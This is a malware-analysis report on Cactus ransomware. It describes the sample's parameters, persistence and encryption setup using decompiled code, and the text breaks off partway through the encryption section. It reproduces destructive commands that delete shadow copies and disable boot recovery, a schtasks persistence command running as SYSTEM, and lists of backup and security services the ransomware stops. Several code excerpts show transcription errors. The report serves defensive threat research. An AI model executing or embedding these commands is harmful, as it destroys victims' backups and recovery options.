

Cactus Ransomware

Technical Analysis

Authored By: Threat Research Team

Report Date: 28.02.2024

Report Number: BD2024022801

Contents

1 Executive Summary	3
2 Scope	4
3 Technical Analysis	5
3.1 Ransomware Parameters	6
3.1.1 -r	6
3.1.2 -i	7
3.1.3 -s	7
3.1.4 -kd	8
3.1.5 -q	8
3.1.6 -qo	9
3.1.7 -l and -e	9
3.1.8 -c	10
3.1.9 -t	11
3.1.10 -d	12
3.1.11 -f	13
3.2 Create Mutex	14
3.3 Persistence	15
3.4 Discovery	16
3.5 Delete Shadows	17
3.6 Check Black List Processes	19
3.7 Check White List Processes	21
3.8 Close Services	22
3.9 Check Extensions	23
3.10 Check Folder Extensions	24
3.11 Encryption Phase	25
3.12 Ransom Note	29
4 Indicators of Compromise (IOCs)	30
5 YARA Rule	30
6 MiTRE ATT&CK Threat Matrix	31
7 Mitigation Strategies	31

Version	Date	Author(s)	Description
1.0	08.02.2024	Gizem Tanrıyar	Initial Analysis Draft
1.1	28.02.2024	Gizem Tanrıyar	TLP:CLEAR Completed

1 Executive Summary

The Cactus ransomware, initially observed in 2023, is a sophisticated malware variant that poses a significant threat to computer systems and their users. It operates by encrypting files on infected machines and demanding ransom payments from victims in exchange for decryption keys. Notably, Cactus ransomware utilizes advanced techniques such as GNU Linker and UPX packing to obfuscate its code and evade detection by security measures. Upon execution, it allocates dynamic memory, establishes mutexes, and schedules tasks to ensure persistence and hinder removal efforts. Moreover, Cactus ransomware employs OpenSSL for encryption, utilizing AES 256 CBC for file encryption, and offers both quick and full encryption modes based on file size. Additionally, it leverages system commands to manipulate shadow copies, modify boot configurations, and disable recovery options, further complicating recovery efforts.

As a result of its multifaceted approach and encryption capabilities, Cactus ransomware represents a significant cyber security threat, underscoring the importance of robust security measures and proactive defense strategies to mitigate its impact.

2 Scope

Filename	64md94-hohi-5mk2-15ro.exe (Packed)
Filetype	Win32 EXE
Written Language	C/C++
MD5	1add9766eb649496bc2fa516902a5965
SHA1	48d1971ec7b17adaa8189089a97503afa705ae14
SHA256	0933f23c466188e0a7c6fab661bdb8487cf7028c5cec557efb75fde9879a6af8
First Seen / Detection Date	2023-04-24
Initial Infection Vector	N/A

Table 1: File fingerprints

Filename	64md94-hohi-5mk2-15ro.exe (Unpacked)
Filetype	Win32 EXE
Written Language	C/C++
MD5	6c8e0456d051af78ebf105ed8e3ec666
SHA1	52442a9bc5b5767968b71148593b2ad664b1003e
SHA256	0f99e9767ac4b8950c2e6be2e33b5fe06fb400c65cb9af9d9e2b334d4dd73e33
First Seen / Detection Date	N/A
Initial Infection Vector	N/A

Table 2: File fingerprints

3 Technical Analysis

This section contains technical analysis of Cactus Ransomware sample provided in Scope section.

The Cactus ransomware is linked with GNU Linker and packed with UPX. After unpacking UPX, it allocates dynamic memory using malloc, then retrieves the program's working path, and finally moves it using memmove.

The tmainCRTStartup() function calls main(). Afterwards, through the protectProcess function, a specific section is allocated, and security definitions are applied.

```
void __cdecl protectProcess()
{
    SID_IDENTIFIER_AUTHORITY ntAuthority; // [rsp+6Ah] [rbp-26h] BYREF
    PSID Sid; // [rsp+70h] [rbp-20h] BYREF
    PSECURITY_DESCRIPTOR pSD; // [rsp+78h] [rbp-18h]
    PACL pEmptyDacl; // [rsp+80h] [rbp-10h]
    HANDLE hProcess; // [rsp+88h] [rbp-8h]

    hProcess = GetCurrentProcess();
    pEmptyDacl = (PACL)malloc(8ui64);
    pSD = LocalAlloc(0x40u, 0x28ui64);
    InitializeAcl(pEmptyDacl, 8u, 4u);
    *(_DWORD *)&ntAuthority.Value = 0;
    *(_WORD *)&ntAuthority.Value[4] = 256;
    AllocateAndInitializeSid(&ntAuthority, 1u, 0, 0, 0, 0, 0, 0, 0, 0, &Sid);
    AddAccessDeniedAce(pEmptyDacl, 4u, 0x1FFFFFFu, Sid);
    SetSecurityInfo(hProcess, SE_KERNEL_OBJECT, 4u, 0i64, 0i64, pEmptyDacl, 0i64);
    free(pEmptyDacl);
}
```

Figure 1: protectProcess Function

Subsequently, the handle of the ConsoleWindow is obtained, and the ShowWindow function is used with the parameter 0 (SW_HIDE), which hides the window and activates another window, aiming for detection evasion.

The setlocale and clock functions are called for the program's locale and runtime respectively. Then, the number of processors is calculated to obtain the value of maxThreats.

3.1 Ransomware Parameters

Afterwards, a check is performed on the value of argc. When it is greater than 1, the processArgv function is called. During this process, certain parameters used by the ransomware are observed.

3.1.1 -r

The "-r" parameter is used for extract the AES key from ntuser.dat configuration file. Subsequently, the ntuser.dat file will be deleted from the system.

```
CopyFileW(v21, v20, 0);
v22 = (const WCHAR *)std::wstring::c_str(&newRegPath);
newAttr = GetFileAttributesW(v22);
LODWORD(v20) = newAttr | 2;
v23 = (const WCHAR *)std::wstring::c_str(&newRegPath);
SetFileAttributesW(v23, (DWORD)v20);
std::allocator<wchar_t>::allocator(&v94);
v24._M_current = (char *)std::string::end(&outFileData);
v25._M_current = (char *)std::string::begin(&outFileData);
std::wstring::basic_string<__gnu_cxx::__normal_iterator<char *, std::string>, void>(&wstr, v25, v24, &v94);
std::allocator<wchar_t>::~allocator(&v94);
remove("C:\\ProgramData\\ntuser.dat");
std::allocator<wchar_t>::allocator(&v96);
v26 = (const wchar_t *)std::wstring::c_str(&wstr);
std::wstring::basic_string<std::allocator<wchar_t>>(&p_writeText, v26, &v96);
std::allocator<wchar_t>::allocator(&v98);
std::wstring::basic_string<std::allocator<wchar_t>>(&p_ntUserPath, L"C:\\ProgramData\\ntuser.dat", &v98);
makeNtUserFile(&p_ntUserPath, &p_writeText);
std::wstring::~wstring(&p_ntUserPath);
std::allocator<wchar_t>::~allocator(&v98);
std::wstring::~wstring(&p_writeText);
std::allocator<wchar_t>::~allocator(&v96);
newAttr = GetFileAttributesW(L"C:\\ProgramData\\ntuser.dat");
SetFileAttributesW(L"C:\\ProgramData\\ntuser.dat", newAttr | 2);
std::allocator<wchar_t>::allocator(&v100);
std::wstring::basic_string<std::allocator<wchar_t>>(&v99, L".exe -r\\" /f", &v100);
```

Figure 2: -r parameter

3.1.2 -i

The "i" parameter will be used to decrypt the RSA key using the previously extracted AES key. The decrypted RSA key will then be loaded into memory afterward.

```
std::ifstream::open(readData, L"C:\\ProgramData\\ntuser.dat", 8i64);
std::istream::seekg((std::istream *)readData, 7483i64, _S_beg);
v5 = (char *)std::string::data(&readedStr);
std::istream::read((std::istream *)readData, v5, 2048i64);
std::ifstream::close(readData);
std::string::basic_string(&p_s, &readedStr);
hexDecode(&decodedParams, &p_s);
std::string::~wstring(&p_s);
std::wstring::find_first_of(&decodedParams, L"|", 0i64);
std::wstring::substr(&lastpath);
std::wstring::find_first_of(&decodedParams, L"|", 0i64);
std::wstring::substr(&splitLine2);
std::wstring::find_first_of(&splitLine2, L"|", 0i64);
std::wstring::substr(&uid);
std::operator+<wchar_t>(&v43, L"-i", &uid);
std::wstring::operator=(&startByParamsPath[abi:cxx11], &v43);
std::wstring::~wstring(&v43);
v6 = std::wstring::length(&splitLine2);
```

Figure 3: -i parameter

3.1.3 -s

The "-s" parameter copies itself to ProgramData as a system start persistence mechanism.

```
if ( fixedIDCorrect )
{
    std::wstring::substr(&v50);
    v10 = (const wchar_t *)std::wstring::c_str(&v50);
    v11 = wcscmp(v10, asc_14040D882) == 0;
    std::wstring::~wstring(&v50);
    if ( v11 )
        systemStart = 1;
```

Figure 4: -s parameter

3.1.4 -kd

The "-kd" parameter kills processes and shadow copies if the user has administrative privileges.

```
if ( v11 )
    systemStart = 1;
std::wstring::substr(&v51);
v12 = (const wchar_t *)std::wstring::c_str(&v51);
v13 = wcscmp(v12, L"-kd") == 0;
std::wstring::~wstring(&v51);
```

Figure 5: -kd parameter

3.1.5 -q

The "-q" parameter is used for close and kill thread operations.

```
std::wstring::substr(&v69);
v24 = (const wchar_t *)std::wstring::c_str(&v69);
v25 = wcscmp(v24, L"-t") == 0;
std::wstring::~wstring(&v69);
if ( v25 )
{
    std::wstring::size(&wstr);
    std::wstring::substr(&v70);
    maxThreads = std::stoi(&v70, 0i64, 10);
    std::wstring::~wstring(&v70);
    std::allocator<wchar_t>::allocator(&v73);
    std::wstring::basic_string<std::allocator<wchar_t>>(&v72, L" ", &v73);
    std::operator+<wchar_t>(&v71, &v72, &wstr);
    std::wstring::operator+=(&globalParams[abi:cxx11], &v71);
    std::wstring::~wstring(&v71);
    std::wstring::~wstring(&v72);
    std::allocator<wchar_t>::~allocator(&v73);
    if ( needLogger )
    {
        std::to_wstring(&v75, maxThreads);
        std::operator+<wchar_t>(&v74, L"changed threads count to ", &v75);
        logger(&v74);
        std::wstring::~wstring(&v74);
        std::wstring::~wstring(&v75);
    }
}
```

Figure 6: -q parameter

3.1.6 -qo

The "-qo" parameter, meaning "quickOnly," is used to quickly encrypt only the specified files.

```
if ( v15 )
{
    quickLock = 1;
    std::wstring::substr(&v53);
    v16 = (const wchar_t *)std::wstring::c_str(&v53);
    v17 = wcscmp(v16, asc_14040D896) == 0;
    std::wstring::~wstring(&v53);
    if ( v17 )
        quickOnly = 1;
}
```

Figure 7: -qo parameter

3.1.7 -l and -e

The "-l" parameter creates a log file named "update.log" if needLogger=1. Also the "-e" parameter is used when there is a need for an additional logger.

```
std::wstring::substr(&v54);
v18 = (const wchar_t *)std::wstring::c_str(&v54);
v19 = wcscmp(v18, L"-l") == 0;
std::wstring::~wstring(&v54);
if ( v19 )
{
    needLogger = 1;
    std::allocator<wchar_t>::allocator(&v57);
    std::wstring::basic_string<std::allocator<wchar_t>>(&v56, L" ", &v57);
    std::operator+<wchar_t>(&v55, &v56, &v57);
    std::wstring::operator+=(&globalParams[abi:cxx11], &v55);
    std::wstring::~wstring(&v55);
    std::wstring::~wstring(&v56);
    std::allocator<wchar_t>::~allocator(&v57);
}
```

Figure 8: -l parameter

```

std::wstring::substr(&v58);
v20 = (const wchar_t *)std::wstring::c_str(&v58);
v21 = wcscmp(v20, L"-e") == 0;
std::wstring::~wstring(&v58);
if ( v21 )
{
    needExtraLogger = 1;
    std::allocator<wchar_t>::allocator(&v61);
    std::wstring::basic_string<std::allocator<wchar_t>>(&v60, L" ", &v61);
    std::operator+<wchar_t>(&v59, &v60, &wstr);
    std::wstring::operator+=(&globalParams[abi:cxx11], &v59);
    std::wstring::~wstring(&v59);
    std::wstring::~wstring(&v60);
    std::allocator<wchar_t>::~~allocator(&v61);
}

```

Figure 9: -e parameter

3.1.8 -c

The "-c" command is used to change the encryption percentage, i.e., the coversize.

```

std::wstring::substr(&v62);
v22 = (const wchar_t *)std::wstring::c_str(&v62);
v23 = wcscmp(v22, asc_14040D8AA) == 0;
std::wstring::~wstring(&v62);
if ( v23 )
{
    std::wstring::size(&wstr);
    std::wstring::substr(&__str);
    sizeCoverGlobal = std::stoi(&__str, 0i64, 10);
    std::wstring::~wstring(&__str);
    std::allocator<wchar_t>::allocator(&v66);
    std::wstring::basic_string<std::allocator<wchar_t>>(&v65, L" ", &v66);
    std::operator+<wchar_t>(&v64, &v65, &wstr);
    std::wstring::operator+=(&globalParams[abi:cxx11], &v64);
    std::wstring::~wstring(&v64);
    std::wstring::~wstring(&v65);
    std::allocator<wchar_t>::~~allocator(&v66);
    if ( needLogger )
    {
        std::to_wstring(&__rhs, sizeCoverGlobal);
        std::operator+<wchar_t>(&p_logMsg, L"changed coversize to ", &__rhs);
        logger(&p_logMsg);
        std::wstring::~wstring(&p_logMsg);
        std::wstring::~wstring(&__rhs);
    }
}

```

Figure 10: -c parameter

3.1.9 -t

The "-t" parameter is used to change the thread count required for encryption.

```
std::wstring::substr(&v69);
v24 = (const wchar_t *)std::wstring::c_str(&v69);
v25 = wcsncmp(v24, L"-t") == 0;
std::wstring::wstring(&v69);
if ( v25 )
{
    std::wstring::size(&wstr);
    std::wstring::substr(&v70);
    maxThreads = std::stoi(&v70, 0i64, 10);
    std::wstring::wstring(&v70);
    std::allocator<wchar_t>::allocator(&v73);
    std::wstring::basic_string<std::allocator<wchar_t>>(&v72, L" ", &v73);
    std::operator+<wchar_t>(&v71, &v72, &wstr);
    std::wstring::operator+=(&globalParams[abi:cxx11], &v71);
    std::wstring::wstring(&v71);
    std::wstring::wstring(&v72);
    std::allocator<wchar_t>::allocator(&v73);
    if ( needLogger )
    {
        std::to_wstring(&v75, maxThreads);
        std::operator+<wchar_t>(&v74, L"changed threads count to ", &v75);
        logger(&v74);
        std::wstring::wstring(&v74);
        std::wstring::wstring(&v75);
    }
}
```

Figure 11: -t parameter

3.1.10 -d

The "-d" parameter is used for the directory to be encrypted.

```
std::wstring::substr(&v76);
v26 = (const wchar_t *)std::wstring::c_str(&v76);
v27 = wcscmp(v26, L"-d") == 0;
std::wstring::wstring(&v76);
if ( v27 )
{
    std::wstring::size(&wstr);
    std::wstring::substr(&v77);
    std::wstring::operator=(&globalStartPath[abi:cxx11], &v77);
    std::wstring::wstring(&v77);
    if ( std::wstring::find(&globalStartPath[abi:cxx11], L" ", 0i64) == -1 )
    {
        std::allocator<wchar_t>::allocator(&v86);
        std::wstring::basic_string<std::allocator<wchar_t>>(&v85, L" ", &v86);
        std::operator+<wchar_t>(&v84, &v85, &wstr);
        std::wstring::operator+=(&globalParams[abi:cxx11], &v84);
        std::wstring::wstring(&v84);
        std::wstring::wstring(&v85);
        std::allocator<wchar_t>::~~allocator(&v86);
    }
    else
    {
        std::allocator<wchar_t>::allocator(&v80);
        std::wstring::basic_string<std::allocator<wchar_t>>(&v79, L"\\", &v80);
        std::allocator<wchar_t>::allocator(&v83);
        std::wstring::basic_string<std::allocator<wchar_t>>(&v82, asc_14040D926, &v83);
        std::operator+<wchar_t>(&v81, &v82, &wstr);
        std::operator+<wchar_t>(&v78, &v81, &v79);
        std::wstring::operator+=(&globalParams[abi:cxx11], &v78);
    }
}
```

Figure 12: -d parameter

3.1.11 -f

The "-f" parameter is used to encrypt a single file.

```
std::wstring::substr(&v88);
v28 = (const wchar_t *)std::wstring::c_str(&v88);
v29 = wcsncmp(v28, asc_14040D952) == 0;
std::wstring::wstring(&v88);
if ( v29 )
{
    std::wstring::size(&wstr);
    std::wstring::substr(&v89);
    std::wstring::operator=(&singleFilePath[abi:cxx11], &v89);
    std::wstring::wstring(&v89);
    singleFileMode = 1;
    if ( std::wstring::find(&singleFilePath[abi:cxx11], L" ", 0i64) == -1 )
    {
        std::allocator<wchar_t>::allocator(&v98);
        std::wstring::basic_string<std::allocator<wchar_t>>(&v97, L" ", &v98);
        std::operator+<wchar_t>(&v96, &v97, &wstr);
        std::wstring::operator+=(&globalParams[abi:cxx11], &v96);
        std::wstring::wstring(&v96);
        std::wstring::wstring(&v97);
        std::allocator<wchar_t>::~allocator(&v98);
    }
    else
    {
        std::allocator<wchar_t>::allocator(&v92);
        std::wstring::basic_string<std::allocator<wchar_t>>(&v91, L"\\", &v92);
        std::allocator<wchar_t>::allocator(&v95);
        std::wstring::basic_string<std::allocator<wchar_t>>(&v94, asc_14040D926, &v95);
        std::operator+<wchar_t>(&v93, &v94, &wstr);
        std::operator+<wchar_t>(&v90, &v93, &v91);
        std::wstring::operator+=(&globalParams[abi:cxx11], &v90);
    }
}
```

Figure 13: -f parameter

3.2 Create Mutex

The Cactus Ransomware first retrieves the path of the directory it runs in and then allocates a dynamic memory region. Afterwards, it creates a mutex named "md94-hohi-5mk2-15rocAcTuS" using the `CreateMutexW()` function. Then, the malware checks the `GetLastError()` function for `(ERROR_ALREADY_EXISTS)`, and subsequently closes the mutex handle.

```
rax=<kernel32.CreateMutexW>
r8=00000000025D38E0 L"md94-hohi-5mk2-15rocAcTuS"
.text:00007FFE9BCE2300 kernelbase.dll:$32300 #31700 <CreateMutexW>
```

Figure 14: Create Mutex

Afterwards, if the `fixedIDCorrect` is not true, the mutex handle is closed with the `CloseHandle` function, and `quickLock` and `quickOnly` checks are performed.

```

LABEL_75:
    CloseHandle(mutexHandle);
    if ( quickLock == 1 && !quickOnly )
    {
        std::wstring::basic_string(&reRunExePath);
        extractExePath[abi:cxx11](&v131);
        std::wstring::operator=(&reRunExePath, &v131);
        std::wstring::~wstring(&v131);
        v47 = (const wchar_t *)std::wstring::c_str(&globalParams[abi:cxx11]);
        v48 = (const wchar_t *)std::wstring::c_str(&readedID[abi:cxx11]);
        std::operator+<wchar_t>(&v134, &projectUID[abi:cxx11], asc_14040DCD2);
        std::operator+<wchar_t>(&v133, &v134, v48);
        std::operator+<wchar_t>(&p_cmdline, &v133, v47);
        std::allocator<wchar_t>::allocator(&v136);
        v49 = (const wchar_t *)std::wstring::c_str(&reRunExePath);
        std::wstring::basic_string<std::allocator<wchar_t>>(&p_app, v49, &v136);
        runCmd(&p_app, &p_cmdline);
        std::wstring::~wstring(&p_app);
        std::allocator<wchar_t>::~allocator(&v136);
        std::wstring::~wstring(&p_cmdline);
        std::wstring::~wstring(&v133);
        std::wstring::~wstring(&v134);
        std::wstring::~wstring(&reRunExePath);
    }
    v3 = 0;

```

Figure 15: Quick Lock

3.3 Persistence

Then, a scheduled task named "Updates Check Task" is created to run every 5 minutes under the name of "SYSTEM" using the command:

```
C:\Windows\system32\schtasks.exe /create /sc MINUTE /mo 5 /rl HIGHEST /ru SYSTEM /tn "\"Updates Check Task\" /tr "\"cmd /c cd C:\ProgramData
```

```
std::wstring::basic_string<std::allocator<wchar_t>>(&v102, L"C:\\Windows\\system32\\schtasks.exe /create /sc MINUTE /mo 5 /rl HIGHEST /ru SYSTEM /tn "\"Updates Check Task\" /tr "\"cmd /c cd C:\\ProgramData && ", &v103);
std::operator+<wchar_t>(&v101, &v102, &projectUID[abi:cxx11]);
std::operator+<wchar_t>(&cmd, &v101, &v99);
std::wstring::~wstring(&v101);
std::wstring::~wstring(&v102);
std::allocator<wchar_t>::~~allocator(&v103);
std::wstring::~wstring(&v99);
std::allocator<wchar_t>::~~allocator(&v100);
std::allocator<wchar_t>::allocator(&v104);
std::wstring::basic_string<std::allocator<wchar_t>>(&ext, L"C:\\Windows\\system32\\schtasks.exe /run /tn "\"Updates Check Task\"", &v104);
```

Figure 16: Scheduled Task

3.4 Discovery

Cactus ransomware utilizes the FindFirstFileW() and FindNextFileW() APIs for discovery purposes, enabling it to traverse directories and identify files for encryption.

```
std::operator+<wchar_t>(&startPath, p_basePath, L"\\");
v1 = (const WCHAR *)std::wstring::c_str(&startPath);
h = FindFirstFileW(v1, &FindData);
std::allocator<wchar_t>::allocator(&_a);
std::wstring::basic_string<std::allocator<wchar_t>>(&newPath, &word_14040D70E, &_a);
std::allocator<wchar_t>::~~allocator(&_a);
std::allocator<wchar_t>::allocator(&v17);
std::wstring::basic_string<std::allocator<wchar_t>>(&fullPath, &word_14040D70E, &v17);
std::allocator<wchar_t>::~~allocator(&v17);
std::allocator<wchar_t>::allocator(&v18);
std::wstring::basic_string<std::allocator<wchar_t>>(&start4sym, &word_14040D70E, &v18);
std::allocator<wchar_t>::~~allocator(&v18);
if ( h != (HANDLE)-1i64 )
{
    do
    {
        if ( (FindData.dwFileAttributes & 0x10) != 0 )
        {
            if ( wcscmp(FindData.cFileName, L"..") && wcscmp(FindData.cFileName, L"..") )
            {
                std::operator+<wchar_t>(&_lhs, p_basePath, asc_14040D71A);
                std::operator+<wchar_t>(&v19, &_lhs, FindData.cFileName);
                std::wstring::operator=(&newPath, &v19);
                std::wstring::~wstring(&v19);
                std::wstring::~wstring(&_lhs);
                if ( (unsigned __int64)std::wstring::size(&newPath) > 0xFA )
                {
                    std::wstring::basic_string(&p_inPath, &newPath);
                    longPathCheck(&v21, &p_inPath);
                    std::wstring::operator=(&newPath, &v21);
                    std::wstring::~wstring(&v21);
                    std::wstring::~wstring(&p_inPath);
                }
                if ( needExtraLogger )
                {
                    std::operator+<wchar_t>(&p_logMsg, L"checking folder ", &newPath);
```

Figure 17: Checking Folders

3.5 Delete Shadows

In the `closeAndKill` function, if the user is an administrator, `shadowCopyDisable()` is called.

```
void __cdecl closeAndKill()
{
    if ( IsUserAnAdmin() )
        shadowCopyDisable();
    checkProcesses();
    if ( IsUserAnAdmin() )
        closeService();
}
```

Figure 18: `closeAndKill` Function

Firstly, it deletes all shadow copies silently using the `vssadmin delete shadows /all /quiet` command, followed by the removal of any remaining shadow copies using `WMIC shadow copy delete`. Then, it modifies the boot status policy to ignore all failures with `bcdedit /set default bootstatuspolicy ignoreallfailures`, which can aid in troubleshooting boot-related issues.

Finally, it disables recovery options by setting "**bcdedit /set default recoveryenabled no**", preventing automatic recovery mode activation after boot failures.

```
std::allocator<wchar_t>::allocator((char *)&v0 + 79);
std::wstring::basic_string<std::allocator<wchar_t>>(&p_cmdline, L"vssadmin delete shadows /all /quiet", &_a);
std::allocator<wchar_t>::allocator(&v4);
std::wstring::basic_string<std::allocator<wchar_t>>(&p_app, L"C:\\Windows\\System32\\vssadmin.exe", &v4);
runCmd(&p_app, &p_cmdline);
std::wstring::wstring(&p_app);
std::allocator<wchar_t>::allocator(&v4);
std::wstring::wstring(&p_cmdline);
std::allocator<wchar_t>::allocator(&_a);
std::allocator<wchar_t>::allocator(&v6);
std::wstring::basic_string<std::allocator<wchar_t>>(&v5, L"WMIC shadowcopy delete", &v6);
std::allocator<wchar_t>::allocator(&v8);
std::wstring::basic_string<std::allocator<wchar_t>>(&v7, L"C:\\Windows\\System32\\wbem\\WMIC.exe", &v8);
runCmd(&v7, &v5);
std::wstring::wstring(&v7);
std::allocator<wchar_t>::allocator(&v8);
std::wstring::wstring(&v5);
std::allocator<wchar_t>::allocator(&v6);
std::allocator<wchar_t>::allocator(&v10);
std::wstring::basic_string<std::allocator<wchar_t>>(&v9,
L"bcdedit /set {default} bootstatuspolicy ignoreallfailures",
&v10);
std::allocator<wchar_t>::allocator(&v12);
std::wstring::basic_string<std::allocator<wchar_t>>(&v11, L"C:\\Windows\\System32\\bcdedit.exe", &v12);
runCmd(&v11, &v9);
std::wstring::wstring(&v11);
std::allocator<wchar_t>::allocator(&v12);
std::wstring::wstring(&v9);
std::allocator<wchar_t>::allocator(&v10);
std::allocator<wchar_t>::allocator(&v14);
std::wstring::basic_string<std::allocator<wchar_t>>(&v13, L"bcdedit /set {default} recoveryenabled no", &v14);
std::allocator<wchar_t>::allocator(&v16);
std::wstring::basic_string<std::allocator<wchar_t>>(&v15, L"C:\\Windows\\System32\\bcdedit.exe", &v16);
```

Figure 19: shadowCopyDisable Function

3.6 Check Black List Processes

The `checkProcesses()` function is called to perform a black process list check using the `CreateToolhelp32Snapshot` and `Process32NextW` APIs. The checked black process list is as follows:

```
void __cdecl checkProcesses()
{
    std::wstring loweredExeName; // [rsp+20h] [rbp-60h] BYREF
    PROCESSENTRY32W pe32; // [rsp+40h] [rbp-40h] BYREF
    int acnt; // [rsp+27Ch] [rbp+1FCh]
    HANDLE hSnapShot; // [rsp+280h] [rbp+200h]
    int i; // [rsp+28Ch] [rbp+20Ch]

    hSnapShot = CreateToolhelp32Snapshot(2u, 0);
    acnt = 42;
    std::wstring::basic_string(&loweredExeName);
    pe32.dwSize = 568;
LABEL_7:
    while ( Process32NextW(hSnapShot, &pe32) )
    {
        for ( i = 0; i < acnt; ++i )
        {
            if ( StrStrIW(pe32.szExeFile, blackProcessList[i]) )
            {
                closeProcess(pe32.th32ProcessID);
                goto LABEL_7;
            }
        }
    }
    CloseHandle(hSnapShot);
    std::wstring::~wstring(&loweredExeName);
}
```

Figure 20: `checkProcesses` Function

The relevant process is terminated immediately if any of the following processes are detected.

- 
- thebat.exe
 - msftesql.exe
 - sqlagent.exe
 - sqlbrowser.exe
 - sqlwriter.exe
 - oracle.exe
 - ocssd.exe
 - dbsnmp.exe
 - xfssvccon.exe
 - sqlservr.exe
 - mydesktopservice.exe
 - ocautoupds.exe
 - agntsvc.exe
 - firefoxconfig.exe
 - tbirdconfig.exe
 - mydesktopqos.exe
 - ocomm.exe
 - mysqld.exe
 - mysqld-nt.exe
 - mysqld-opt.exe
 - dbeng50.exe
 - sqbcoreservice.exe
 - excel.exe
 - infopath.exe
 - msaccess.exe
 - mspub.exe
 - onenote.exe
 - outlook.exe
 - powerpnt.exe
 - wordpad.exe
 - sql.exe
 - firefox.exe
 - dbeng50.exe
 - notepad.exe
 - steam.exe
 - synctime.exe
 - thunderbird.exe
 - visio.exe
 - winword.exe
 - isqlplussvc.exe
 - encsvc.exe

3.7 Check White List Processes

The checkProcess() function is used to check the process white list. The checked process white list is as follows:

```
bool __cdecl checkProcess(const std::wstring *p_processName)
{
    const WCHAR *v1; // rbx
    const WCHAR *v2; // rax
    int i; // [rsp+2Ch] [rbp-4h]

    for ( i = 0; i < 14; ++i )
    {
        v1 = procWhiteList[i];
        v2 = (const WCHAR *)std::wstring::c_str(p_processName);
        if ( StrStrIW(v2, v1) )
            return 0;
    }
    return 1;
}
```

Figure 21: checkProcess Function

Unlike blackProcessList processes, the close operation does not include the procWhiteList processes.

- spoolsv.exe
- explorer.exe
- sihost.exe
- fontdrvhost.exe
- cmd.exe
- dwm.exe
- logonui.exe
- serachui.exe
- lsass.exe
- csrss.exe
- smss.exe
- winlogon.exe
- services.exe
- conhost.exe

3.8 Close Services

The closeService() function is used to check the black service list. The black service list being checked is as follows:

```
void __cdecl closeService()
{
    SERVICE_STATUS Status; // [rsp+20h] [rbp-40h] BYREF
    int acnt; // [rsp+44h] [rbp-1Ch]
    SC_HANDLE hSc; // [rsp+48h] [rbp-18h]
    SC_HANDLE hSCManager; // [rsp+50h] [rbp-10h]
    int i; // [rsp+5Ch] [rbp-4h]

    hSCManager = 0i64;
    hSc = 0i64;
    acnt = 16;
    for ( i = 0; i < acnt; ++i )
    {
        hSCManager = OpenSCManagerA(0i64, 0i64, 1u);
        hSc = OpenServiceA(hSCManager, blackServiceList[i], 0x20u);
        ControlService(hSc, 1u, &Status);
        if ( hSc )
            CloseServiceHandle(hSc);
        if ( hSCManager )
            CloseServiceHandle(hSCManager);
    }
    printf("CLOSED");
}
```

Figure 22: closeService Function

The identified services will be closed upon detection.

- Phonesvc
- Veeam
- Memtas
- Sql
- Backup
- Vss
- Sophos
- Svc
- Gxvss
- Gxblr
- Gxfwd
- Gxcvd
- Gxcimgr

3.9 Check Extensions

The checkExt() function is used to check the extension black list. The checked extension black list is as follows:

```
bool __cdecl checkExt(const std::wstring *p_filePath)
{
    const WCHAR *v1; // rax
    const WCHAR *v2; // rax
    const WCHAR *v3; // rax
    const WCHAR *v4; // rax
    bool v6; // bl
    const WCHAR *v7; // rbx
    const WCHAR *v8; // rax
    std::wstring ext; // [rsp+20h] [rbp-30h] BYREF
    int blCount; // [rsp+44h] [rbp-Ch]
    int pos; // [rsp+48h] [rbp-8h]
    int i; // [rsp+4Ch] [rbp-4h]

    v1 = (const WCHAR *)std::wstring::c_str(p_filePath);
    if ( StrStrIW(v1, L"CaCtUs.ReAdMe.txt") )
        return 0;
    v2 = (const WCHAR *)std::wstring::c_str(p_filePath);
    if ( StrStrIW(v2, L"desktop.ini") )
        return 0;
    v3 = (const WCHAR *)std::wstring::c_str(p_filePath);
    if ( StrStrIW(v3, L"update.log") )
        return 0;
    v4 = (const WCHAR *)std::wstring::c_str(p_filePath);
    if ( StrStrIW(v4, "n") )
        return 0;
    pos = std::wstring::find_last_of(p_filePath, L".", -1i64);
    std::wstring::substr(&ext);
}
```

Figure 23: checkExt Function

The encryption process will not be applied to files with the following extensions.

- exe
- dll
- lnk
- sys
- MSI
- bat
- cts0-7
- cAcTuS.readme.txt
- desktop.ini
- update.log

3.10 Check Folder Extensions

The checkFolderExt() function is used to check the folder black list. The checked folder black list is as follows:

```
bool __cdecl checkFolderExt(const std::wstring *p_directoryName)
{
    __gnu_cxx::__normal_iterator<wchar_t*,std::wstring> v1; // rsi
    __gnu_cxx::__normal_iterator<wchar_t*,std::wstring> v2; // rbx
    __gnu_cxx::__normal_iterator<wchar_t*,std::wstring> v3; // rax
    bool v4; // bl
    __int64 v6; // [rsp+0h] [rbp-50h] BYREF
    std::wstring loweredDirectoryName; // [rsp+20h] [rbp-30h] BYREF
    std::allocator<wchar_t> __a; // [rsp+47h] [rbp-9h] BYREF
    int blCount; // [rsp+48h] [rbp-8h]
    int i; // [rsp+4Ch] [rbp-4h]

    std::allocator<wchar_t>::allocator((char *)&v6 + 71);
    std::wstring::basic_string<std::allocator<wchar_t>>(&loweredDirectoryName, &word_14040AB7E, &__a);
    std::allocator<wchar_t>::allocator(&__a);
    std::wstring::operator=(&loweredDirectoryName, p_directoryName);
    v1._M_current = (wchar_t *)std::wstring::begin(&loweredDirectoryName);
    v2._M_current = (wchar_t *)std::wstring::end(&loweredDirectoryName);
    v3._M_current = (wchar_t *)std::wstring::begin(&loweredDirectoryName);
    std::transform<__gnu_cxx::__normal_iterator<wchar_t *,std::wstring>,__gnu_cxx::__normal_iterator<wchar_t *,std::wstring>,int (*)>(&v3,
        v2,
        v1,
        (int (*)>)&tolower);
    blCount = 22;
}
```

Figure 24: checkFolderExt Function

The following files will not be encrypted.

- Tmp
- Temp
- Recycle.bin
- systemvolume information
- windows
- thumb
- winnt
- windows bt
- windows old
- perflog
- perflogs
- programdata
- packages
- Boot
- Efi
- Windowsapps
- Microsoft
- WindowsDefender
- MicrosoftShared
- InternetExplorer
- Tor Browser
- cAcTuS.readme.txt
- Ctslck
- desktop.ini
- update.log
- ntuser.dat

3.11 Encryption Phase

The encryptor utilizes OpenSSL and initially establishes an AES 256 CBC structure as the context throughout the entire encryption process.

```
void __cdecl aesKeyDecrypt(
    const unsigned __int8 *ciphertext,
    int ciphertext_len,
    unsigned __int8 *key,
    unsigned __int8 *iv,
    unsigned __int8 *plaintext)
{
    int v5; // eax
    int len; // [rsp+34h] [rbp-Ch] BYREF
    EVP_CIPHER_CTX *ctx; // [rsp+38h] [rbp-8h]
    int ciphertexta; // [rsp+50h] [rbp+10h]
